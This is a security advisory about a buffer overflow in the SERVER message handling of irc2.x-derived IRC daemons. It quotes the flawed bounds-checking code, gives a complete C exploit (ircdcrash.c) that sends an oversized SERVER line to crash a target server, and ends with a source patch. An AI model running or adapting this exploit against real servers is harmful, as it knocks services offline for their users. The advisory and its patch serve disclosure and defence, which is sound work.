COMMAND
ircd
SYSTEMS AFFECTED
This bug is known to be present in all versions of ircd.dal
through 4.4.10, as well as the base irc2.8.21 distribution.
PROBLEM
There is a buffer overflow present in many IRC servers derived
from the irc2.x distribution, which has been reported as being
actively exploited on many networks. In short, insufficient
bounds checking on the parameters to the SERVER message will
overflow a buffer, and you can do more or less anything you could
do with any other buffer overflow. (The current spate of attacks
is aimed at just crashing servers; this can be accomplished with
a single line of shell code.) This overflow is a bit more
interesting than the usual, because it's not a case of _missing_
bounds checking; rather, it's _incorrect_ bounds checking,
leading to a strncpy(s1, s2, -1) under certain circumstances.
Credit goes to Andy Church.
Here's an exploit Aaron Campbell wrote for the buffer overflow in
ircd. This will attempt to crash the daemon.
/* ircdcrash.c by fx of nnh (aaron@ug.cs.dal.ca)
*
* Shouts out to: Punisher, TCroc, NC, gg, A-Flat, DBN3 crew.
*
* Thanks to Andy Church for addressing this problem on Bugtraq.
*
* There is a buffer overflow condition in the ircd/s_serv.c file
* of the ircd2.8.21 distribution and most likely exists in other
* versions. It is possible to exploit this by sending a very
* long string as the third parameter (<info>) to the SERVER
* command. Nothing particularly fancy here, this program will
* just attempt to segfault the daemon. Here is the syntax of the
* SERVER command:
*
* SERVER <servername> <hopcount> <info>
*
* Here is the offending code, out of the m_server function:
*
* if (parc > 3 && atoi(parv[2]))
* {
* hop = atoi(parv[2]);
* (void)strncpy(info, parv[3], REALLEN);
* }
* else if (parc > 2)
* {
* (void)strncpy(info, parv[2], REALLEN);
* if (parc > 3)
* {
* i = strlen(info);
* (void)strncat(info, " ", REALLEN - i - 1);
* (void)strncat(info, parv[3], REALLEN - i - 2);
* }
*
* REALLEN is defined to be 50 in include/struct.h. Notice that in
* order for the second (and therefore third) if() statement to be
* executed, atoi(parv[2]) must NOT return a value. This means we
* must not send numeric characters as the second parameter
* (<hopcount>), but we must send 50 characters to ensure
* REALLEN - i - 2 will be less then 0.
*
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/uio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
int main(int argc, char *argv[])
{
char *str;
int i, port = 6667, soc;
struct sockaddr_in their_addr;
/* open a socket for connecting */
if ( (soc = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
perror("socket");
exit(0);
}
if ( argc < 2 ) {
printf("Usage: %s <ip_of_irc_server> <port>\n", argv[0]);
exit(1);
}
else
if ( argc > 2 )
port = atoi(argv[2]);
/* fill-in target address struct */
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(port);
their_addr.sin_addr.s_addr = inet_addr(argv[1]);
bzero(&(their_addr.sin_zero),8);
/* copy data into our string */
str = (char *)malloc(4096);
strcpy(str, "SERVER warez.blackdown.org aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa :[");
printf("\nCreating string to send... Wait a sec...\n");
for (i = 0; i < 4000; i++)
strcat(str, "o");
strcat(str, "]\n");
/* connect to target server */
if ( connect(soc, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) < 0 ) {
perror("connect");
exit(1);
}
else {
/* server might have something to say... wait... */
printf("Wait... Server might be talking to us...\n");
sleep(8);
/* send string */
printf("Sending crash string...");
if ( send(soc, str, strlen(str), 0) < 0 ) {
perror("send");
exit(1);
}
/* finished */
printf("Done!\n\n");
close(soc);
return(1);
}
}
SOLUTION
The bug is believed to NOT be present in ircu2.9.32, and is known
to not be present in ircd.dal4.4.11. The patch below was made
against ircd.dal4.4.5, but should apply more or less cleanly to
other irc2.x derivations.
--- src/s_serv.c.old Sun Dec 8 21:06:55 1996
+++ src/s_serv.c Tue Jul 1 00:42:16 1997
@@ -282,15 +282,17 @@
{
hop = atoi(parv[2]);
(void)strncpy(info, parv[3], REALLEN);
+ info[REALLEN] = 0;
}
else if (parc > 2)
{
- (void)strncpy(info, parv[2], REALLEN);
+ (void)strncpy(info, parv[2], REALLEN-2);
+ info[REALLEN-2] = 0;
if (parc > 3)
{
- i = strlen(info);
- (void)strncat(info, " ", REALLEN - i - 1);
- (void)strncat(info, parv[3], REALLEN - i - 2);
+ (void)strcat(info, " ");
+ (void)strncat(info, parv[3], REALLEN-strlen(info));
+ info[REALLEN] = 0;
}
}
/*